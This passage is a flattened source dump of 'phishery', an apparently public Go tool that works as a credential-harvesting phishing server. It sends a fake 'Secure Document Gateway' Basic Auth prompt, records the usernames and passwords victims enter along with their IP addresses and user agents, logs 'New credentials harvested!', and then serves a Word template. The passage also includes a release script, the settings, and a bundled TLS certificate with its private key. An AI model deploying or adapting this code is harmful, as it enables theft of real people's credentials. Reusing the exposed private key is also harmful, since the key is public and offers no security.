== "") { 57 | return authInfo, errors.New("Missing Authorization Credentials") 58 | } 59 | 60 | authInfo = AuthInfo{ 61 | Username: creds[0], 62 | Password: creds[1], 63 | } 64 | 65 | return authInfo, nil 66 | } 67 | 68 | func (srv *Phishery) handler(resp http.ResponseWriter, req *http.Request) { 69 | printReq(req) 70 | 71 | auth := strings.SplitN(req.Header.Get("Authorization"), " ", 2) 72 | if len(auth) == 2 { 73 | authInfo, err := srv.processAuth(auth[1]) 74 | if err != nil { 75 | neat.Error(err.Error()) 76 | return 77 | } 78 | 79 | authInfo.Host = stripPort(req.Host) 80 | authInfo.Request = req.Method + " " + req.RequestURI 81 | authInfo.UserAgent = req.UserAgent() 82 | authInfo.IPAddress = stripPort(req.RemoteAddr) 83 | 84 | created, err := srv.credStore.AddObject(authInfo) 85 | if err != nil { 86 | neat.Error("Error writing credentials: %s", err) 87 | } 88 | 89 | if created { 90 | neat.Info("New credentials harvested!") 91 | printAuth(authInfo) 92 | } else { 93 | neat.Info("Duplicate credentials received for: %s", authInfo.Username) 94 | } 95 | 96 | srv.writeResponse(resp) 97 | return 98 | } 99 | neat.Info("Sending Basic Auth response to: %s", stripPort(req.RemoteAddr)) 100 | 101 | resp.Header().Set("WWW-Authenticate", `Basic realm="`+srv.settings.BasicRealm+`"`) 102 | resp.WriteHeader(401) 103 | resp.Write([]byte("401 Unauthorized\n")) 104 | } 105 | 106 | func (srv *Phishery) writeResponse(resp http.ResponseWriter) { 107 | if len(srv.settings.ResponseHeaders) > 0 { 108 | for _, head := range srv.settings.ResponseHeaders { 109 | resp.Header().Set(head[0], head[1]) 110 | } 111 | } 112 | 113 | resp.WriteHeader(srv.settings.ResponseStatus) 114 | if srv.settings.ResponseBody != "" { 115 | resp.Write([]byte(srv.settings.ResponseBody + "\n")) 116 | return 117 | } 118 | 119 | if srv.settings.ResponseFile != "" { 120 | file, _ := ioutil.ReadFile(srv.settings.ResponseFile) 121 | resp.Write(file) 122 | return 123 | } 124 | 125 | resp.Write([]byte("404 Not Found\n")) 126 | return 127 | } 128 | 129 | func stripPort(ip string) string { 130 | colon := strings.Index(ip, ":") 131 | if colon > 0 { 132 | return ip[:colon] 133 | } 134 | 135 | return ip 136 | } 137 | 138 | func printReq(req *http.Request) { 139 | stamp := time.Now().Local().Format("2006-01-02 15:04:05") 140 | reqFmt := "Request Received at %s: %s https://%s%s" 141 | reqInfo := fmt.Sprintf(reqFmt, stamp, req.Method, stripPort(req.Host), req.RequestURI) 142 | neat.Info(reqInfo) 143 | } 144 | 145 | func printAuth(auth AuthInfo) { 146 | neat.Data("HTTP", "Host", auth.Host) 147 | neat.Data("HTTP", "Request", auth.Request) 148 | neat.Data("HTTP", "User Agent", auth.UserAgent) 149 | neat.Data("HTTP", "IP Address", auth.IPAddress) 150 | neat.Data("AUTH", "Username", auth.Username) 151 | neat.Data("AUTH", "Password", auth.Password) 152 | } 153 | -------------------------------------------------------------------------------- /phish/settings.go: -------------------------------------------------------------------------------- 1 | package phish 2 | 3 | import ( 4 | "os" 5 | "encoding/json" 6 | ) 7 | 8 | type Settings struct { 9 | IP string 10 | Port string 11 | SSLKey string 12 | SSLCert string 13 | BasicRealm string 14 | ResponseFile string 15 | ResponseBody string 16 | ResponseStatus int 17 | ResponseHeaders [][]string 18 | } 19 | 20 | func loadSettings(jsonFile string) Settings { 21 | file, err := os.Open(jsonFile) 22 | if err != nil { 23 | neat.Error("Error loading settings: %s", err) 24 | os.Exit(1) 25 | } 26 | 27 | settings := Settings{} 28 | decoder := json.NewDecoder(file) 29 | if err := decoder.Decode(&settings); err != nil { 30 | neat.Error("Error decoding settings: %s", err) 31 | os.Exit(1) 32 | } 33 | 34 | return settings 35 | } -------------------------------------------------------------------------------- /phish/version.go: -------------------------------------------------------------------------------- 1 | package phish 2 | 3 | const VERSION = "1.0.2" -------------------------------------------------------------------------------- /release: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | for OS in "linux" "darwin" "windows" "freebsd"; do 4 | GOOS=$OS CGO_ENABLED=0 GOARCH=amd64 go build 5 | FOLDER=phishery1.0.2$OS-amd64 6 | ARCHIVE=$FOLDER.tar.gz 7 | mkdir $FOLDER 8 | cp LICENSE $FOLDER 9 | cp credentials.json $FOLDER 10 | cp settings.json $FOLDER 11 | cp server.crt $FOLDER 12 | cp server.key $FOLDER 13 | cp template.dotx $FOLDER 14 | if [ $OS = "windows" ] ; then 15 | cp phishery.exe $FOLDER 16 | rm phishery.exe 17 | else 18 | cp phishery $FOLDER 19 | rm phishery 20 | fi 21 | COPYFILE_DISABLE=1 tar -czf $ARCHIVE $FOLDER 22 | rm -rf $FOLDER 23 | echo $ARCHIVE 24 | done -------------------------------------------------------------------------------- /screenshots/PhisheryDialog.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ryhanson/phishery/57439537731b3084434b96deac1f82eb8993b2e1/screenshots/PhisheryDialog.jpg -------------------------------------------------------------------------------- /server.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDwTCCAqmgAwIBAgIJAJ62zmdDxcZdMA0GCSqGSIb3DQEBCwUAMHcxCzAJBgNV 3 | BAYTAlVTMREwDwYDVQQIDAhDb2xvcmFkbzEPMA0GA1UEBwwGRGVudmVyMREwDwYD 4 | VQQKDAhnby1waGlzaDERMA8GA1UEAwwIZ28tcGhpc2gxHjAcBgkqhkiG9w0BCQEW 5 | D2FkbWluQGxvY2FsaG9zdDAeFw0xNjA5MjExODIzMjlaFw0yNjA5MTkxODIzMjla 6 | MHcxCzAJBgNVBAYTAlVTMREwDwYDVQQIDAhDb2xvcmFkbzEPMA0GA1UEBwwGRGVu 7 | dmVyMREwDwYDVQQKDAhnby1waGlzaDERMA8GA1UEAwwIZ28tcGhpc2gxHjAcBgkq 8 | hkiG9w0BCQEWD2FkbWluQGxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEBBQADggEP 9 | ADCCAQoCggEBALHAwKOzq383bPNHW0AvmYcyglK9CRXr7ga3JD7RXsH3/C6bXJbY 10 | V9FmzACQV9eBMzSER0oqO6zCbgrXzxivdsJwvPE8yx7z1FVyl6nnhMM3wBVfOdSc 11 | 22pc/tDkxWlWKcLWgn5Qg7lXTnX/dcL+XV1ioKoPFZKczQzeTx2IM8ky1iAydOOC 12 | W8+DSTluoPB7uSdSpBtiAj7xWidOr5eHYeiHsnZoTfuA7pxdC7WsyaGku8UAhzZP 13 | c6DQ4AEW9Z5GXHdujPBR9TYGUuqS7bj1zO+PQgarIDAieu3qTQtKLUl01OETMGsv 14 | xy3iWRVgRTTVD7yVOxacEhetIrIgtIrquIcCAwEAAaNQME4wHQYDVR0OBBYEFNMV 15 | p/EK3CmMkmse/hVQw0Z4FsztMB8GA1UdIwQYMBaAFNMVp/EK3CmMkmse/hVQw0Z4 16 | FsztMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAC0omb5ll66jUVbG 17 | m9FeVSKoDNv2Fgin7Kh3qCzdsEZTSukmSm/4gKijQ13ZXeWovFGHTfqeUpuGKUn6 18 | niiQxf5fVjRc0K+bwObg8dXYIvNOWqBL9qIzTjreovitWpW75naD2HE6U/tEehKq 19 | 0YR4AVq6DV/xli0pEBTVlHmVYBpuwKdccIqrchx3cDtF/Fa5/r5xDqwJt+tXEPqn 20 | 4jyQ3pgOneRCAAryDw/qqogW2iolnuZT5PS7uys4kCFuPvrbEz13O676JVoZ0WPh 21 | 2CwJjfR0C2YySk+PCK81hX6hFCgdL/gw4dnSQXumlbI8cex7aDa8sP1/YqkDq/IF 22 | CdrH9UA= 23 | -----END CERTIFICATE----- 24 | -------------------------------------------------------------------------------- /server.key: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCxwMCjs6t/N2zz 3 | R1tAL5mHMoJSvQkV6+4GtyQ+0V7B9/wum1yW2FfRZswAkFfXgTM0hEdKKjuswm4K 4 | 188Yr3bCcLzxPMse89RVcpep54TDN8AVXznUnNtqXP7Q5MVpVinC1oJ+UIO5V051 5 | /3XC/l1dYqCqDxWSnM0M3k8diDPJMtYgMnTjglvPg0k5bqDwe7knUqQbYgI+8Von 6 | Tq+Xh2Hoh7J2aE37gO6cXQu1rMmhpLvFAIc2T3Og0OABFvWeRlx3bozwUfU2BlLq 7 | ku249czvj0IGqyAwInrt6k0LSi1JdNThEzBrL8ct4lkVYEU01Q+8lTsWnBIXrSKy 8 | ILSK6riHAgMBAAECggEAK2VjopO6ytQ9RSemn4T/doJeTtTX4wI2mm0b7DoxaCmi 9 | 574GXM10oyr1oy2aRILGfYvN281zxDmzo/IMHXq5A7+CYWL2NBhTPok7fb+IKiDy 10 | REV7WOzypIUPsPApQg5HI8o7EZuWjSlDfotftLtlD+eEUgBcw+6EISAlMJCQFA5s 11 | 0wQhcYq5oPgnGZXtqGQkblDVgT4g2dxDnTLTzgnAIIScwnlVNuMo3yudj8lLHO99 12 | KSwGuyjPS2M4Z61Rv5CuRFhhFB+OQp/ylKoc+gV4AN8x2W5tAhIu7tu9IMmHecKd 13 | etposwZUxxz/tec1cVxVXYX4jH3kNLrEXN6BDGegAQKBgQDkMfG0nV5hOwAAp8ok 14 | +4a6Bh4wFHYNlrJKu1TQ5mDKGlfkbxctkOg56qjNAr56dTakLbNcH+zJ0Qn7um43 15 | ZFdmnFuEzBDLXIzHFcc8Zujme+cq/O3L6pT95yVIcYLOxnUBlBDF+cQfgIZWOjNc 16 | OoFQGb7TE2BsHyNVvYlGu2CmYQKBgQDHaV+n3PxgR/C47NN46WiA4eN/AHasl+iS 17 | mS9bmyyCpizGv0iOPKN2MWBURsoJ9DJIWTPTa6QINV5iDbxN5GP8r/XC0lMLm0uj 18 | kMCojOQp7zB+lHy20uCsHSB5ZGyc7E9TV2EUNkzPZegwojuTl70c6xqpQNNx9f6l 19 | qk4/C0335wKBgBbrBTF0lKQDPu7R6zVnpZJNRv7hLzISLnne8pfAa3wgxS8GETfc 20 | U9ZtQOLGIcc+umwmwtq/whJK0kvb33Hku/psPazKqe0isGjWQRpJ454yV3czy9Yt 21 | CyWs70ulStPljp7H9h9MBGx9hgBm+/2JSq92xnmAerChN/VGgeD+tKhBAoGARAnf 22 | Gm5bKhrBtscPbIzvHDJ2pcmptD/smcBsmSv75uP+GR4BCo8EEvrL7FVu8DCCy46s 23 | ETID+M0E1B3tpwILX5dGGmAa97XX/AoSwi+4VdqHyFivqM2Q3QjfIKw0JuK2OjBx 24 | Li1MzeLuc1GXVEeMvgY1xZQZ0SNm7G2MXxRjWPcCgYEA3CZ7SC71vnBhmKAmxTfP 25 | YxY0LMgS7oLwdf1BvJl6GwU1r6iwwJK/PYnAOa9uxUCf8VG2tsqchYXNWZqzFsJS 26 | cQfsd+jHK04VPKfWdGxDiGQdfl0rx3Jpuab5Irnkm7U3i4KErB1+bX1VwBHRUtbO 27 | n8NAdMNPRUjvq4Q1XJPsIO4= 28 | -----END PRIVATE KEY----- 29 | -------------------------------------------------------------------------------- /settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "ip": "0.0.0.0", 3 | "port": "443", 4 | "sslCert": "server.crt", 5 | "sslKey": "server.key", 6 | "basicRealm": "Secure Document Gateway", 7 | "responseStatus": 200, 8 | "responseFile": "template.dotx", 9 | "responseHeaders": [ 10 | ["Content-Type", "application/vnd.openxmlformats-officedocument.wordprocessingml.template"] 11 | ] 12 | } -------------------------------------------------------------------------------- /template.dotx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ryhanson/phishery/57439537731b3084434b96deac1f82eb8993b2e1/template.dotx --------------------------------------------------------------------------------